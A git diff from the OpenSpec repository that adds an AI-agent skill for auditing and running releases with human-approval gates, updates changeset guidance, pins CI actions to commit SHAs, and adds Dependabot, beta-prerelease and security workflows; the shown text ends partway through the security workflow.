diff --git a/.agents/skills/release-openspec/SKILL.md b/.agents/skills/release-openspec/SKILL.md new file mode 100644 index 0000000000..99d4f5df59 --- /dev/null +++ b/.agents/skills/release-openspec/SKILL.md @@ -0,0 +1,180 @@ +--- +name: release-openspec +description: >- + Use this skill when releasing OpenSpec: audit merged work and changeset + coverage, decide whether a catch-up changeset PR is needed, prepare or resume + the Changesets Version Packages PR, cut a beta or stable release, verify + publishing, and polish GitHub release notes. Also use when asked whether an + open release PR is complete, what the next release step is, or to continue a + release paused for human approval. +--- + +# Release OpenSpec + +Run the OpenSpec release workflow as a resumable state machine. Inspect live GitHub state on every invocation and take only the next safe action. Do not assume an earlier invocation completed. + +## Principles + +- Treat `Fission-AI/OpenSpec` and `origin/main` as the release source of truth. +- Default to a read-only audit when the user asks for status, readiness, or advice. +- Treat a request to release, prepare a release, continue, or resume as authorization to perform the applicable release actions. +- Preserve the user's checkout. Never discard unrelated changes or switch their current branch just to prepare a changeset. +- Use a temporary worktree from current `origin/main` for release-authored commits when the checkout is dirty or not on `main`. +- Never approve your own PR. Human review is a deliberate gate. +- Treat merge-queue entry as an intermediate state, not a merge. Advance only after GitHub reports `mergedAt` and the commit is present on `main`. +- Never create the automated Version Packages PR manually. The Changesets action owns it. +- Never push an empty commit merely to retrigger CI. Diagnose the failed or missing run first. +- Report URLs, the state reached, and the exact human action needed whenever pausing. + +## Know the two PR types + +Keep these distinct in output and decisions: + +- **Changeset PR**: A normal human-authored PR that adds one or more `.changeset/*.md` files. Prefer adding a changeset to the feature/fix PR; create a catch-up changeset PR only for already-merged work that should be included. +- **Version Packages PR**: The automated `changeset-release/main` PR titled `chore(release): version packages`. Merging or adding changesets to `main` updates this same PR. Merging it publishes the stable release. + +An open Version Packages PR does not prohibit a catch-up changeset PR. It means a catch-up PR is useful only when the audit finds missing release-worthy work. Once that PR merges, wait for the existing Version Packages PR to update. + +## Start with a release audit + +1. Verify the repository and tools: + - Resolve the GitHub repository with `gh repo view --json nameWithOwner,url`. + - Require authenticated `gh`, `git`, and `pnpm` before write actions. + - Stop before release mutations if the canonical repository is not `Fission-AI/OpenSpec`. +2. Refresh without modifying the worktree: + + ```bash + git fetch origin main + ``` + + Do not fetch every tag indiscriminately. This repository may contain a conflicting historical local tag, which can make `git fetch --tags` fail even though `origin/main` fetched successfully. + +3. Find the latest stable GitHub release. Exclude drafts and prereleases; do not use `git describe`, because a beta tag may be newer than the stable baseline. + + ```bash + gh release list --repo Fission-AI/OpenSpec \ + --exclude-drafts --exclude-pre-releases --limit 100 \ + --json tagName,publishedAt \ + --jq 'max_by(.publishedAt) | {tagName, publishedAt}' + ``` + + Ensure that exact stable tag resolves locally before using it as a `git log` boundary. Fetch only that tag if it is missing. If a same-named local tag disagrees with the canonical remote, report the mismatch and use a separately resolved canonical commit; never force-rewrite the user's tag as part of an audit. + +4. Find open release-related PRs: + + ```bash + gh pr list --repo Fission-AI/OpenSpec --state open \ + --head changeset-release/main \ + --json number,title,headRefName,baseRefName,url,reviewDecision,statusCheckRollup + ``` + + Identify the Version Packages PR by `headRefName == "changeset-release/main"`, not title alone. Separately list likely changeset PRs and inspect their files; require positive additions to `.changeset/*.md`. Do not mistake the Version Packages PR's changeset deletions for authored changesets, and do not rely on titles because a feature/fix PR may add release tracking. +5. Read the live release policy in `.changeset/README.md`, pending `.changeset/*.md` files on `origin/main`, and the Version Packages PR body/files when it exists. +6. List first-parent commits since the latest stable tag: + + ```bash + git log --first-parent --date=short \ + --pretty=format:'%h%x09%ad%x09%s' ..origin/main + ``` + +7. Map release-worthy merged PRs to existing changesets. Use PR files and changeset history; do not infer coverage from similar wording alone. +8. Classify the audit as: + - `missing-tracking`: user-facing work intended for this release lacks a changeset; + - `awaiting-changeset-review`: a suitable changeset PR already exists; + - `awaiting-merge-queue`: an approved changeset or Version Packages PR is queued but has not landed on `main`; + - `awaiting-version-update`: required changesets are on `main`, but the Version Packages PR has not incorporated them; + - `awaiting-version-review`: the Version Packages PR is current but lacks approval; + - `ready-to-publish`: the Version Packages PR is current, approved, and green; + - `publishing`: the Version Packages PR merged but artifacts are incomplete; + - `needs-finalization`: npm, tag, and GitHub Release exist but notes are still raw; + - `complete`: package, tag, GitHub Release, and polished notes agree. + +Present a compact audit with the stable baseline, proposed version, covered changes, possible omissions, intentionally skipped internal/docs work, open PRs, and next action. + +## Decide changeset coverage + +Follow `.changeset/README.md` rather than assuming every merged PR needs a changeset. + +Include work selected for release tracking, especially: + +- new user-facing features or commands; +- notable fixes or hotfixes; +- breaking changes or deprecations; +- user-visible performance improvements. + +Normally skip documentation-only work, tests, CI/tooling, and internal refactors. Flag ambiguous user-visible changes instead of silently excluding them. Ask the user only when the ambiguity materially changes release scope or the semantic version; otherwise use best judgment and let PR review be the approval gate. + +## Create or continue a changeset PR + +Do this only for `missing-tracking`. + +1. If an open changeset PR already covers the missing work, reuse it. Inspect its `headRefName`, head repository, and `maintainerCanModify`; fetch that exact head branch from its owning repository into a temporary worktree, make the update there, and push back to the same PR head. Stop if the branch is not writable. Do not create a duplicate PR or replacement branch. +2. Read `.changeset/README.md` immediately before authoring. +3. Only when no suitable PR exists, create a short `changeset-` branch from current `origin/main`. Use a temporary worktree so the operator's checkout remains untouched. +4. Prefer one changeset per coherent release unit. A single catch-up changeset may summarize several small items selected for the same release. +5. Use the exact package name `"@fission-ai/openspec"`, the highest required semantic bump, only relevant headings, and user-focused descriptions. +6. Validate before pushing: + + ```bash + pnpm exec changeset status + ``` + +7. Commit, push, and open a PR whose body lists the covered merged PRs and explains why the catch-up is needed. +8. Stop after returning the PR URL and request human approval. Do not approve it yourself. + +On a later invocation, if the PR is approved and checks are green, merge or enqueue it only when the user asked to continue or complete the release. If GitHub uses a merge queue, inspect `mergeQueueEntry`, queue checks, and `mergedAt`; remain in `awaiting-merge-queue` until the PR actually lands on `main`. Then wait for the Changesets action on `main` to update the existing Version Packages PR. Poll with concise progress updates; do not push an empty commit or another branch update, because that can dismiss approval and restart the queue. + +## Validate the Version Packages PR + +Before calling it ready: + +1. Confirm it targets `main` from `changeset-release/main` and is generated by the expected automation. +2. Enumerate every pending `.changeset/*.md` file on current `main`, excluding `.changeset/README.md`. Verify the PR consumes every one and contains the corresponding changelog content. If any pending changeset should be deferred, stop: remove or revise it through a separately reviewed change and wait for automation to regenerate the Version Packages PR before continuing. +3. Fetch `baseRefOid` and `headRefOid` with `gh pr view`, require `baseRefOid` to equal current `origin/main`, and create clean detached temporary worktrees for both revisions. If the head object is missing locally, fetch the immutable `pull//head` ref first. Never validate from the operator's current worktree. +4. In the base worktree, run `pnpm exec changeset status --output changeset-status.json` and read the expected package/version from that file. Install locked dependencies in the temporary worktree first if the Changesets CLI is unavailable. +5. Compare the base status and complete pending-changeset set against the head worktree: `package.json`, `CHANGELOG.md`, removed changeset files, PR body, and proposed version must all agree. This is a base-to-head comparison because the head has already consumed the changesets and cannot calculate the pending release itself. +6. Remove the temporary worktrees after validation, then inspect all required checks and review state with `gh pr view` / `gh pr checks`. + +If current but unapproved, return the URL and pause for human approval. If approved and green, merge or enqueue only when the user asked to release or continue. With merge queue enabled, do not treat approval, auto-merge enablement, or queue entry as the stable publish trigger; wait for `mergedAt` and confirmation that the merge reached `main`. + +## Verify stable publishing + +After the Version Packages PR merges: + +1. Find the release workflow run for the merge commit and wait for completion. +2. Verify all three artifacts independently: + - `npm view @fission-ai/openspec@ version` + - remote tag `v` points at the expected commit; + - `gh release view v` exists and is not a prerelease. +3. If only some artifacts exist, report partial state and resume verification before retrying any publish action. Never republish a version already on npm. +4. Once all artifacts exist, read [references/release-notes.md](references/release-notes.md), polish the GitHub Release, and verify the saved title/body. + +## Cut a beta + +Only enter this path when the user explicitly asks for a beta or prerelease. + +1. Run the same audit and confirm pending changesets produce a next stable version. +2. Explain that beta publishing does not consume changesets or replace the stable Version Packages PR. +3. Trigger the existing `release-prepare.yml` workflow on `main`; do not calculate or set the beta version locally. +4. Verify the workflow-selected version, npm `beta` dist-tag, remote tag, and prerelease GitHub Release. +5. Do not merge the stable Version Packages PR as part of a beta request. + +## Handle failures + +- For failed CI, inspect the failing check and logs before proposing a rerun or code change. +- For a stale Version Packages PR, first confirm a successful `push` run of `release-prepare.yml` occurred after the latest changeset reached `main`. +- For branch divergence, let the Changesets action update its branch. Do not force-push `changeset-release/main`. +- For a queued PR, inspect merge-group checks and queue state. Do not re-enqueue, update the branch, or rerun unrelated checks while it is progressing normally. +- For a version that already exists on npm, stop and reconcile the tag/GitHub Release rather than incrementing or republishing implicitly. +- For missing GitHub permissions or required review, report the exact gate and URL; preserve the detected state so the next invocation can resume by inspection. + +## Completion report + +Report: + +- released version and stable/beta channel; +- changeset PR and Version Packages PR URLs, when applicable; +- release workflow result; +- npm package, tag, and GitHub Release verification; +- release-notes finalization status; +- any intentionally deferred changes. diff --git a/.agents/skills/release-openspec/agents/openai.yaml b/.agents/skills/release-openspec/agents/openai.yaml new file mode 100644 index 0000000000..ba447ba769 --- /dev/null +++ b/.agents/skills/release-openspec/agents/openai.yaml @@ -0,0 +1,4 @@ +interface: + display_name: "Release OpenSpec" + short_description: "Audit, prepare, publish, and finalize releases" + default_prompt: "Use $release-openspec to audit the current release state and take the next safe release step." diff --git a/.agents/skills/release-openspec/references/release-notes.md b/.agents/skills/release-openspec/references/release-notes.md new file mode 100644 index 0000000000..9a3a6b6f01 --- /dev/null +++ b/.agents/skills/release-openspec/references/release-notes.md @@ -0,0 +1,89 @@ +# GitHub release notes + +Read this file only after the npm package, tag, and GitHub Release exist, or when the user explicitly asks to preview or polish release notes. + +## Gather source material + +1. Bind the release values once and fetch the current release. Replace the example values, but keep every expansion quoted: + + ```bash + tag="vX.Y.Z" + previous_tag="vA.B.C" + gh release view "$tag" --repo Fission-AI/OpenSpec \ + --json body,name,isPrerelease,url + ``` + +2. For a stable release, find the preceding stable release by excluding drafts and prereleases. For a beta, compare against the preceding tag in the same beta series when one exists; otherwise compare against the latest stable release. +3. Fetch GitHub-generated notes to recover first-time contributor attribution and the full changelog link: + + ```bash + gh api repos/Fission-AI/OpenSpec/releases/generate-notes \ + -f "tag_name=$tag" -f "previous_tag_name=$previous_tag" -q '.body' + ``` + +4. Cross-check the final content against the released `CHANGELOG.md` section and the merged Version Packages PR. Never invent an item from commit titles alone. + +## Title + +Use: + +```text + - +``` + +Lead with the most notable user-facing addition. For two similarly important additions, comma-separate them. For a fix-only release, name the primary fixed area. + +## Body + +Use only the sections that contain content: + +```markdown +## What's New in + + + +### New + +- **Feature** - What users can now do and when it helps. + +### Improved + +- **Area** - What became easier, safer, faster, or more consistent. + +### Fixed + +- **Area** - What now behaves correctly. + +## New Contributors + +* @username made their first contribution in #PR + +**Full Changelog**: +``` + +## Voice and cleanup + +- Write for developers using OpenSpec with AI coding assistants. +- Be direct and practical; avoid marketing language. +- Lead with user capability or impact, not implementation. +- Keep each item to one or two sentences. +- Remove commit hashes, changeset wrappers, raw semantic-bump headings, and inline `Thanks @user` boilerplate. +- Omit internal CI, test, and refactor details unless users experience the result. +- Keep contribution credit in `New Contributors`, not inside feature bullets. +- Preserve GitHub's first-contribution wording and PR link. +- Exclude core maintainer `@TabishB` from `New Contributors`. If no external first-time contributors remain, omit that section. +- Always retain the full changelog compare link. + +## Apply and verify + +Create a temporary file, write the body to it with the available file-editing tool, bind the final title, then update: + +```bash +notes_file="$(mktemp)" +title="$tag - Release Theme" +# Write the polished Markdown body to "$notes_file" before continuing. +gh release edit "$tag" --repo Fission-AI/OpenSpec \ + --title "$title" --notes-file "$notes_file" +``` + +When the user asked only for a preview or audit, show the proposed title/body without editing. When the user asked to run, continue, or complete the release, apply the polished notes without an extra confirmation pause, then fetch the release again and verify the saved title/body. diff --git a/.changeset/README.md b/.changeset/README.md index 2511ccacb1..dffd5644e3 100644 --- a/.changeset/README.md +++ b/.changeset/README.md @@ -12,11 +12,12 @@ Follow the prompts to select version bump type and describe your changes. ## Workflow -1. **Add a changeset** — Run `pnpm changeset` locally before or after your PR -2. **Version PR** — CI opens/updates a "Version Packages" PR when changesets merge to main -3. **Release** — Merging the Version PR triggers npm publish and GitHub Release +1. **Choose the release path**: Maintainers decide whether a PR follows the normal release cadence or gets dedicated release tracking. +2. **Add dedicated release tracking**: When a maintainer asks for a changeset, run `pnpm changeset` locally before or after your PR. +3. **Version PR**: CI opens/updates a "Version Packages" PR when changesets merge to main. +4. **Release**: Merging the Version PR triggers npm publish and GitHub Release. -> **Note:** Contributors only need to run `pnpm changeset`. Versioning (`changeset version`) and publishing happen automatically in CI. +> **Note:** The default path is the normal release cadence. Add a changeset when a maintainer or release owner wants dedicated release notes and version tracking for the PR. Versioning (`changeset version`) and publishing happen automatically in CI. ## Template @@ -54,22 +55,23 @@ Include only the sections relevant to your change. | Type | When to use | Example | |------|-------------|---------| -| `patch` | Bug fixes, small improvements | Fixed crash when config missing | +| `patch` | Release-tracked bug fixes, small improvements | Fixed crash when config missing | | `minor` | New features, non-breaking additions | Added `--verbose` flag | | `major` | Breaking changes, removed features | Renamed `init` to `setup` | ## When to Create a Changeset -**Create one for:** -- New features or commands -- Bug fixes that affect users +**Use dedicated release tracking for:** +- New features or commands selected for release +- Notable bug fixes or hotfixes requested by a maintainer/release owner - Breaking changes or deprecations -- Performance improvements users would notice +- Performance improvements users would notice and that are planned for release -**Skip for:** +**Use the normal release cadence for:** +- Routine bug fixes that fit the normal release cadence - Documentation-only changes - Test additions/fixes -- Internal refactoring with no user impact +- Internal refactoring that preserves user behavior - CI/tooling changes ## Writing Good Descriptions diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json index c381b61fa0..7800a445d4 100644 --- a/.devcontainer/devcontainer.json +++ b/.devcontainer/devcontainer.json @@ -1,6 +1,6 @@ { "name": "OpenSpec Development", - "image": "mcr.microsoft.com/devcontainers/typescript-node:1-20-bookworm", + "image": "mcr.microsoft.com/devcontainers/typescript-node:1-22-bookworm", // Additional tools and features "features": { diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000000..ecb028b68a --- /dev/null +++ b/.gitattributes @@ -0,0 +1,4 @@ +# The skills.sh distribution files are generated LF-only and compared +# byte-for-byte by test/core/templates/skillssh-parity.test.ts. Force LF on +# checkout so Windows autocrlf doesn't turn them into CRLF and fail parity. +skills/** text eol=lf diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index e066888eaf..a17e6d9fa0 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -1,2 +1,2 @@ # Default code ownership -* @TabishB +* @Fission-AI/openspec-maintainers diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 0000000000..c1ae0920a5 --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,75 @@ +version: 2 + +updates: + # Published CLI package + - package-ecosystem: npm + directory: / + schedule: + interval: weekly + day: monday + # Let a freshly published version sit before adopting it. Security updates + # ignore the cooldown, so this only delays routine bumps — long enough for a + # compromised release to be yanked before it reaches this repo. + cooldown: + default-days: 7 + semver-major-days: 30 + semver-minor-days: 7 + semver-patch-days: 3 + open-pull-requests-limit: 5 + commit-message: + prefix: chore + include: scope + groups: + production-dependencies: + dependency-type: production + update-types: + - minor + - patch + development-dependencies: + dependency-type: development + update-types: + - minor + - patch + + # Documentation site (not published to npm) + - package-ecosystem: npm + directory: /website + schedule: + interval: weekly + day: monday + # Let a freshly published version sit before adopting it. Security updates + # ignore the cooldown, so this only delays routine bumps — long enough for a + # compromised release to be yanked before it reaches this repo. + cooldown: + default-days: 7 + semver-major-days: 30 + semver-minor-days: 7 + semver-patch-days: 3 + open-pull-requests-limit: 3 + commit-message: + prefix: chore + include: scope + groups: + website-dependencies: + patterns: + - "*" + update-types: + - minor + - patch + + # CI workflow actions + - package-ecosystem: github-actions + directory: / + schedule: + interval: weekly + day: monday + # Actions are not semver-versioned the way packages are, so this ecosystem + # accepts default-days only. + cooldown: + default-days: 7 + commit-message: + prefix: ci + groups: + github-actions: + patterns: + - "*" diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index fe2f3a5341..87c167391b 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -25,10 +25,12 @@ jobs: nix: ${{ steps.filter.outputs.nix }} steps: - name: Checkout code - uses: actions/checkout@v4 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false - name: Check for Nix-related changes - uses: dorny/paths-filter@v3 + uses: dorny/paths-filter@7b450fff21473bca461d4b92ce414b9d0420d706 # v4 id: filter with: filters: | @@ -37,53 +39,15 @@ jobs: - 'flake.lock' - 'package.json' - 'pnpm-lock.yaml' + - 'pnpm-workspace.yaml' - 'scripts/update-flake.sh' - '.github/workflows/ci.yml' - test_pr: - name: Test - runs-on: ubuntu-latest - timeout-minutes: 10 - if: github.event_name == 'pull_request' || github.event_name == 'merge_group' - - steps: - - name: Checkout code - uses: actions/checkout@v4 - with: - fetch-depth: 0 - - - name: Setup pnpm - uses: pnpm/action-setup@v4 - with: - version: 9 - - - name: Setup Node.js - uses: actions/setup-node@v4 - with: - node-version: '20' - cache: 'pnpm' - - - name: Install dependencies - run: pnpm install --frozen-lockfile - - - name: Build project - run: pnpm run build - - - name: Run tests - run: pnpm test - - - name: Upload test coverage - uses: actions/upload-artifact@v4 - with: - name: coverage-report-pr - path: coverage/ - retention-days: 7 - test_matrix: name: Test (${{ matrix.label }}) runs-on: ${{ matrix.os }} timeout-minutes: 15 - if: github.event_name == 'push' + if: github.event_name == 'pull_request' || github.event_name == 'merge_group' || github.event_name == 'push' || github.event_name == 'workflow_dispatch' strategy: fail-fast: false matrix: @@ -91,12 +55,15 @@ jobs: - os: ubuntu-latest shell: bash label: linux-bash + vitest_workers: 4 - os: macos-latest shell: bash label: macos-bash + vitest_workers: 4 - os: windows-latest shell: pwsh label: windows-pwsh + vitest_workers: 2 defaults: run: @@ -104,19 +71,18 @@ jobs: steps: - name: Checkout code - uses: actions/checkout@v4 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: fetch-depth: 0 + persist-credentials: false - name: Setup pnpm - uses: pnpm/action-setup@v4 - with: - version: 9 + uses: pnpm/action-setup@0ebf47130e4866e96fce0953f49152a61190b271 # v6 - name: Setup Node.js - uses: actions/setup-node@v4 + uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 with: - node-version: '20' + node-version: '20.19.0' cache: 'pnpm' - name: Print environment diagnostics @@ -130,32 +96,48 @@ jobs: run: pnpm run build - name: Run tests + env: + VITEST_MAX_WORKERS: ${{ matrix.vitest_workers }} run: pnpm test - name: Upload test coverage if: matrix.os == 'ubuntu-latest' - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 with: - name: coverage-report-main + name: coverage-report-${{ github.event_name }} path: coverage/ retention-days: 7 + test_pr_required: + name: Test + runs-on: ubuntu-latest + needs: [test_matrix] + if: always() && (github.event_name == 'pull_request' || github.event_name == 'merge_group') + steps: + - name: Verify matrix tests passed + run: | + if [[ "${{ needs.test_matrix.result }}" != "success" ]]; then + echo "Matrix test job failed" + exit 1 + fi + echo "All matrix tests passed!" + lint: name: Lint & Type Check runs-on: ubuntu-latest steps: - name: Checkout code - uses: actions/checkout@v4 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false - name: Setup pnpm - uses: pnpm/action-setup@v4 - with: - version: 9 + uses: pnpm/action-setup@0ebf47130e4866e96fce0953f49152a61190b271 # v6 - name: Setup Node.js - uses: actions/setup-node@v4 + uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 with: - node-version: '20' + node-version: '20.19.0' cache: 'pnpm' - name: Install dependencies @@ -189,13 +171,15 @@ jobs: if: needs.changes.outputs.nix == 'true' steps: - name: Checkout code - uses: actions/checkout@v4 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false - name: Install Nix - uses: DeterminateSystems/nix-installer-action@v21 + uses: DeterminateSystems/nix-installer-action@ef8a148080ab6020fd15196c2084a2eea5ff2d25 # v22 - name: Setup Nix cache - uses: DeterminateSystems/magic-nix-cache-action@v13 + uses: DeterminateSystems/magic-nix-cache-action@908b263ff629f4cc17666315b7fd3ec127c6244d # v14 - name: Build with Nix run: nix build @@ -242,47 +226,66 @@ jobs: run: git checkout -- flake.nix || true validate-changesets: - name: Validate Changesets + name: Validate Release Tracking runs-on: ubuntu-latest if: github.event_name == 'pull_request' || github.event_name == 'merge_group' steps: - name: Checkout code - uses: actions/checkout@v4 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: fetch-depth: 0 + persist-credentials: false + + - name: Determine release tracking + id: changed-changesets + run: | + changed_changesets="$(git diff --name-only --diff-filter=ACMRT origin/main...HEAD -- '.changeset/*.md' ':!.changeset/README.md')" + if [[ -n "$changed_changesets" ]]; then + echo "has_changesets=true" >> "$GITHUB_OUTPUT" + { + echo "files<> "$GITHUB_OUTPUT" + else + echo "has_changesets=false" >> "$GITHUB_OUTPUT" + echo "This PR follows the normal release cadence; continuing with standard validation" + fi - name: Setup pnpm - uses: pnpm/action-setup@v4 - with: - version: 9 + if: steps.changed-changesets.outputs.has_changesets == 'true' + uses: pnpm/action-setup@0ebf47130e4866e96fce0953f49152a61190b271 # v6 - name: Setup Node.js - uses: actions/setup-node@v4 + if: steps.changed-changesets.outputs.has_changesets == 'true' + uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 with: - node-version: '20' + node-version: '20.19.0' cache: 'pnpm' - name: Install dependencies + if: steps.changed-changesets.outputs.has_changesets == 'true' run: pnpm install --frozen-lockfile - - name: Validate changesets + - name: Validate release-tracked changesets + if: steps.changed-changesets.outputs.has_changesets == 'true' + env: + CHANGESET_FILES: ${{ steps.changed-changesets.outputs.files }} run: | - if command -v changeset &> /dev/null; then - pnpm exec changeset status --since=origin/main - else - echo "Changesets not configured, skipping validation" - fi + echo "Validating changed changesets:" + printf '%s\n' "$CHANGESET_FILES" + pnpm exec changeset status --since=origin/main required-checks-pr: name: All checks passed runs-on: ubuntu-latest - needs: [test_pr, lint, nix-flake-validate] + needs: [test_matrix, lint, nix-flake-validate] if: always() && (github.event_name == 'pull_request' || github.event_name == 'merge_group') steps: - name: Verify all checks passed run: | - if [[ "${{ needs.test_pr.result }}" != "success" ]]; then - echo "Test job failed" + if [[ "${{ needs.test_matrix.result }}" != "success" ]]; then + echo "Matrix test job failed" exit 1 fi if [[ "${{ needs.lint.result }}" != "success" ]]; then diff --git a/.github/workflows/release-prepare.yml b/.github/workflows/release-prepare.yml index 0a58d8e87c..1f60b44a50 100644 --- a/.github/workflows/release-prepare.yml +++ b/.github/workflows/release-prepare.yml @@ -1,12 +1,15 @@ -name: Release (prepare) +name: Release on: push: branches: [main] + workflow_dispatch: # manually cut a beta prerelease from main +# Floor for both jobs. The prepare job widens this to pull-requests: write for +# the Version Packages PR; the beta job only tags/releases + publishes via OIDC +# and needs no PR access, so it inherits this narrower default. permissions: contents: write - pull-requests: write id-token: write # Required for npm OIDC trusted publishing concurrency: @@ -15,29 +18,31 @@ concurrency: jobs: prepare: - if: github.repository == 'Fission-AI/OpenSpec' + if: github.repository == 'Fission-AI/OpenSpec' && github.event_name == 'push' runs-on: ubuntu-latest + permissions: + contents: write + pull-requests: write # changesets opens/updates the Version Packages PR + id-token: write # Required for npm OIDC trusted publishing steps: # Generate GitHub App token first - used for checkout and changesets # This allows git operations to trigger CI workflows on the version PR # (GITHUB_TOKEN cannot trigger workflows by design) - name: Generate GitHub App Token id: app-token - uses: actions/create-github-app-token@v2 + uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3 with: app-id: ${{ vars.APP_ID }} private-key: ${{ secrets.APP_PRIVATE_KEY }} - - uses: actions/checkout@v4 + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: fetch-depth: 0 token: ${{ steps.app-token.outputs.token }} - - uses: pnpm/action-setup@v4 - with: - version: 9 + - uses: pnpm/action-setup@0ebf47130e4866e96fce0953f49152a61190b271 # v6 - - uses: actions/setup-node@v4 + - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 with: node-version: '24' # Node 24 includes npm 11.5.1+ required for OIDC cache: 'pnpm' @@ -48,7 +53,7 @@ jobs: # Opens/updates the Version Packages PR; publishes when the Version PR merges - name: Create/Update Version PR id: changesets - uses: changesets/action@v1 + uses: changesets/action@a45c4d594aa4e2c509dc14a9f2b3b67ba3780d0d # v1 with: title: 'chore(release): version packages' createGithubReleases: true @@ -58,3 +63,126 @@ jobs: env: GITHUB_TOKEN: ${{ steps.app-token.outputs.token }} # npm authentication handled via OIDC trusted publishing (no token needed) + + # Manually-dispatched beta prerelease from main: version is the next stable + # release per pending changesets with a -beta.N suffix (e.g. v1.6.0-beta.1), + # published to npm under the `beta` dist-tag and posted as a prerelease-flagged + # GitHub Release. Changesets are left unconsumed, so the stable flow above is + # unaffected. This job lives in this file because npm trusted publishing + # authorizes a single workflow file per package. + # + # Users opt in with: npm install -g @fission-ai/openspec@beta + beta: + if: github.repository == 'Fission-AI/OpenSpec' && github.event_name == 'workflow_dispatch' && github.ref == 'refs/heads/main' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 0 + + - uses: pnpm/action-setup@0ebf47130e4866e96fce0953f49152a61190b271 # v6 + + - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 + with: + node-version: '24' # Node 24 includes npm 11.5.1+ required for OIDC + cache: 'pnpm' + registry-url: 'https://registry.npmjs.org' + + - run: pnpm install --frozen-lockfile + + # Beta version = next stable version per pending changesets, plus a + # -beta.N suffix that increments over existing beta tags for that version. + - name: Compute beta version + id: version + env: + GH_TOKEN: ${{ github.token }} + run: | + git fetch --tags --force origin + pnpm exec changeset status --output=changeset-status.json + NEXT=$(node -p "JSON.parse(require('fs').readFileSync('changeset-status.json','utf8')).releases[0]?.newVersion ?? ''") + rm changeset-status.json + if [ -z "$NEXT" ]; then + echo "No pending changesets on main - nothing to cut a beta from." + exit 1 + fi + N=1 + while true; do + VERSION="${NEXT}-beta.${N}" + TAG="v${VERSION}" + TAG_EXISTS=false + NPM_EXISTS=false + RELEASE_EXISTS=false + + if git rev-parse -q --verify "refs/tags/${TAG}" >/dev/null; then + TAG_EXISTS=true + fi + if npm view "@fission-ai/openspec@${VERSION}" version >/dev/null 2>&1; then + NPM_EXISTS=true + fi + if gh release view "${TAG}" >/dev/null 2>&1; then + RELEASE_EXISTS=true + fi + + if [ "$TAG_EXISTS" = false ] && [ "$NPM_EXISTS" = false ] && [ "$RELEASE_EXISTS" = false ]; then + break + fi + if [ "$RELEASE_EXISTS" = false ]; then + echo "Resuming incomplete beta ${TAG}" + break + fi + + N=$((N + 1)) + done + echo "version=${VERSION}" >> "$GITHUB_OUTPUT" + echo "Cutting ${TAG}" + + - name: Set package version + env: + VERSION: ${{ steps.version.outputs.version }} + run: npm version "$VERSION" --no-git-tag-version + + # prepublishOnly runs the build. npm authentication handled via OIDC + # trusted publishing (no token needed). + - name: Publish to npm under the beta dist-tag + env: + VERSION: ${{ steps.version.outputs.version }} + run: | + if npm view "@fission-ai/openspec@${VERSION}" version >/dev/null 2>&1; then + echo "@fission-ai/openspec@${VERSION} is already on npm; skipping publish." + exit 0 + fi + npm publish --tag beta + + - name: Tag and create GitHub prerelease + env: + GH_TOKEN: ${{ github.token }} + VERSION: ${{ steps.version.outputs.version }} + run: | + TAG="v${VERSION}" + HEAD_SHA=$(git rev-parse HEAD) + + if git rev-parse -q --verify "refs/tags/${TAG}" >/dev/null; then + TAG_SHA=$(git rev-list -n 1 "${TAG}") + if [ "$TAG_SHA" != "$HEAD_SHA" ]; then + echo "${TAG} already exists at ${TAG_SHA}, not current HEAD ${HEAD_SHA}." + exit 1 + fi + else + git tag "${TAG}" + fi + + if git ls-remote --exit-code --tags origin "refs/tags/${TAG}" >/dev/null 2>&1; then + echo "${TAG} already exists on origin; skipping tag push." + else + git push origin "${TAG}" + fi + + if gh release view "${TAG}" >/dev/null 2>&1; then + echo "GitHub Release ${TAG} already exists; skipping release creation." + else + gh release create "${TAG}" \ + --prerelease \ + --generate-notes \ + --title "${TAG}" \ + --notes "Beta prerelease. Install with \`npm install -g @fission-ai/openspec@beta\`." + fi diff --git a/.github/workflows/security.yml b/.github/workflows/security.yml new file mode 100644 index 0000000000..c59c8c8b93 --- /dev/null +++ b/.github/workflows/security.yml @@ -0,0 +1,120 @@ +name: Security + +on: + push: + branches: [main] + paths: + - '**/package.json' + - '**/pnpm-lock.yaml' + - '**/pnpm-workspace.yaml' + - '.github/workflows/security.yml' + pull_request: + branches: [main] + schedule: + # Weekly, so a newly published advisory surfaces even with no commits. + - cron: '17 6 * * 1' + workflow_dispatch: + +permissions: + contents: read + +concurrency: + group: security-${{ github.ref }} + cancel-in-progress: true + +jobs: + # Blocks a pull request that introduces a vulnerable or badly licensed dependency. + dependency-review: + name: Dependency Review + if: github.event_name == 'pull_request' + runs-on: ubuntu-latest + steps: + - name: Checkout code + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + + # No PR comment: that needs `pull-requests: write`, which a fork's token + # never gets. The failed check plus its log is the signal. + - name: Review dependency changes + uses: 